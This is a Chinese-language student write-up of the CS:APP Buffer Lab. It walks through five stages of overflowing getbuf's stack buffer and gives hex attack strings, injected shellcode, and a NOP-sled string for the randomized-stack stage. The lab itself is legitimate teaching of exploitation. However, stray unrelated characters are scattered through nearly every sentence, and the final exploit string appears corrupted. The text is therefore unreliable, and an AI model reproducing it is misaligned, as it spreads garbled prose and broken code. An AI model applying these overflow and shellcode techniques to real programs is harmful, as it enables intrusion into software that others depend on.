第一分鐘:棧幀
結(jié)構(gòu)如下
第二分鐘:Candle
我們要讓getbuf
函數(shù)不返回到test
,而是返回到函數(shù)smoke
嗜逻。那么涩僻,很直觀的,我們應(yīng)該去修改getbuf
函數(shù)棧幀中的返回地址栈顷。通過(guò)分析bufbomb反匯編之后的代碼逆日,我們發(fā)現(xiàn)buf的開(kāi)始地址在-0x28(%ebp)
,而返回地址的存在從0x4(%ebp)
之后的四個(gè)字節(jié)中萄凤。因此室抽,我們只需要在buf中輸入48個(gè)字節(jié),其中最后四個(gè)字節(jié)為smoke函數(shù)的地址(小端順序)靡努,即可坪圾。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08
第三分鐘:Sparkler
我們這次依然要改變getbuf
的返回地址,只不過(guò)要返回到函數(shù)fizz
惑朦,依照上一分鐘的步驟修改一下即可兽泄。不同的是,這一次漾月,我們還要修改fizz
的參數(shù)病梢。通過(guò)分析bufbomb反匯編之后的代碼,我們發(fā)現(xiàn)是0x8(%ebp)
和0x804e104
這兩個(gè)地址中的值發(fā)生了比較梁肿。很明顯蜓陌,后一個(gè)是全局變量cookie
的值,所以我們要對(duì)前一個(gè)地址的值進(jìn)行修改吩蔑。
讓我們回想一下到fizz
之前的過(guò)程钮热。首先,getbuf
運(yùn)行到了返回烛芬,這時(shí)霉旗,它先movl %ebp, %esp
,然后popl %ebp
蛀骇,此時(shí)esp
也因pop
操作而加了4厌秒,指向返回地址,這部分是leave
的操作擅憔。之后鸵闪,ret
被調(diào)用,它的作用是popl eip
, esp
也因?yàn)?code>pop操作又加了4暑诸,這是eip
中存儲(chǔ)的應(yīng)該是fizz
的地址蚌讼。
到了fizz
之后辟灰,首先還是要進(jìn)行push %ebp
和movl %esp, %ebp
。這樣篡石,fizz
的棧幀中ebp
的地址比getfuf
的棧幀中ebp
的地址高4芥喇,這種差異是由于我們并沒(méi)有像正常的執(zhí)行過(guò)程那樣將返回值壓棧造成的。所以凰萨,fizz
中的val
應(yīng)該在比getbuf
中ebp
高12的地方继控。
知道了這些,我們就可以構(gòu)造字符串了胖眷。首先我們要重寫(xiě)getbuf
的返回地址武通,這個(gè)和上一分鐘的做法基本相同,然后珊搀,我們要重寫(xiě)val
參數(shù)冶忱,這個(gè)應(yīng)該放在ebp
之后12比特開(kāi)始的4比特中。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 2e 8b 04 08 <- 這四個(gè)是覆蓋getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 這四個(gè)是覆蓋val用的
第四分鐘:Firecracker
這一分鐘境析,我們需要修改全局變量了囚枪。在流程上,我們需要作出一些改變劳淆。原來(lái)是getbuf
->xxx func
眶拉,現(xiàn)在是getbuf
->buf
->xxx func
。也就是說(shuō)憔儿,我們需要讓buf
里的語(yǔ)句被運(yùn)行。所以放可,這一次谒臼,雖然我們還要覆蓋getbuf
的返回地址,但是要讓它返回到buf
里耀里。我們先用gdb
看一下buf
的地址蜈缤,方法很多,可以查ebp
的地址然后運(yùn)算冯挎,也可以查傳入Gets
的參數(shù)底哥。
之后,我們要查找global_value的地址房官。全局變量的地址是直接載入的趾徽,所以在反匯編的代碼里查就好。
然后翰守,我們就要開(kāi)始寫(xiě)hack代碼了孵奶。首先我們要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c
把自己的cookie寫(xiě)進(jìn)去蜡峰。然后了袁,我們還要把bang
的地址放進(jìn)eip
來(lái)實(shí)現(xiàn)跳轉(zhuǎn)朗恳。pushl $0x08048b82
然后ret
即可。
最后把這段代碼匯編载绿,插入到攻擊字符串里粥诫。
c7 05 0c e1 04 08 42 2f <- hack代碼
4f 7b 68 82 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55 <- buf的地址
第五分鐘:Dynamite
首先讓我們來(lái)分析一下我們改變了什么?eip
最后會(huì)指向該繼續(xù)運(yùn)行的地址崭庸,所以沒(méi)有變怀浆;esp
最后會(huì)變成調(diào)用后ebp
的值,ebp
的值沒(méi)有變冀自,所以esp
也是正確的揉稚;棧被我們修改了,但是再返回后熬粗,我們修改的那部分都被pop
掉了搀玖,所以也沒(méi)有變。唯一變了的就是原來(lái)的ebp
的值驻呐,這個(gè)在我們hack的時(shí)候被覆蓋掉了(按我寫(xiě)的字符串來(lái)說(shuō)灌诅,會(huì)被覆蓋成0 0 0 0)。所以我們只需要修復(fù)一下ebp
就好含末。
那么ebp的值應(yīng)該是什么呢猜拾?我們只需要用gdb,設(shè)置到test
里任意位置的斷點(diǎn)佣盒,然后打印ebp
就可以了挎袜。
movl $0x7b4f2f42, %eax ; 放cookie
movl $0x556838f0, %ebp ;回復(fù)一下ebp
pushl $0x08048bf3 肥惭;push應(yīng)該返回的地址
ret 盯仪;pop剛才壓進(jìn)去的地址到eip,實(shí)現(xiàn)跳轉(zhuǎn)蜜葱。
匯編后即可生成代碼全景,然后組合成攻擊字符串
b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55
第六分鐘:Nitroglycerin
這一分鐘和上一分鐘做的事沒(méi)什么區(qū)別,不同的是要對(duì)變化的棧地址進(jìn)行處理牵囤。
我們從文檔中知道爸黄,棧的size大于地址的變化幅度,因此老方法還行的通揭鳞。
對(duì)于攻擊字符串炕贵,我們需要修改三個(gè)地方:ebp
還原,buf
的填充野崇,以及返回地址鲁驶。
由于地址是不定的,所以我們不能再用固定的值還原ebp
舞骆。我們?cè)?code>testn中可以發(fā)現(xiàn)钥弯,ebp-0x28
是esp
径荔,所以可以用esp
來(lái)計(jì)算。(esp
在進(jìn)入getbuf
之后變成了ebp
脆霎,但是在運(yùn)行buf
里的代碼的時(shí)候总处,leave
代碼被運(yùn)行,這樣esp
又變了回來(lái))
然后是buf
填充睛蛛。之前是32鹦马,現(xiàn)在是512,所以填充的字符串長(zhǎng)度也要變成忆肾,其次荸频,我們應(yīng)該用nop
(機(jī)器碼是90)來(lái)填充。(之前是什么都可以客冈,現(xiàn)在就不一樣了)
最后是返回地址旭从,之前設(shè)置為buf
的首地址,不過(guò)由于現(xiàn)在不知道那是多少场仲,所以應(yīng)該直接試一下和悦,輸出每次的buf
地址,選個(gè)比較大的渠缕,這樣鸽素,小的也會(huì)落在nop區(qū)里,總會(huì)運(yùn)行到hack代碼亦鳞。
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 42 2f 2f
4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55
第七分鐘:寫(xiě)一下實(shí)驗(yàn)報(bào)告
如上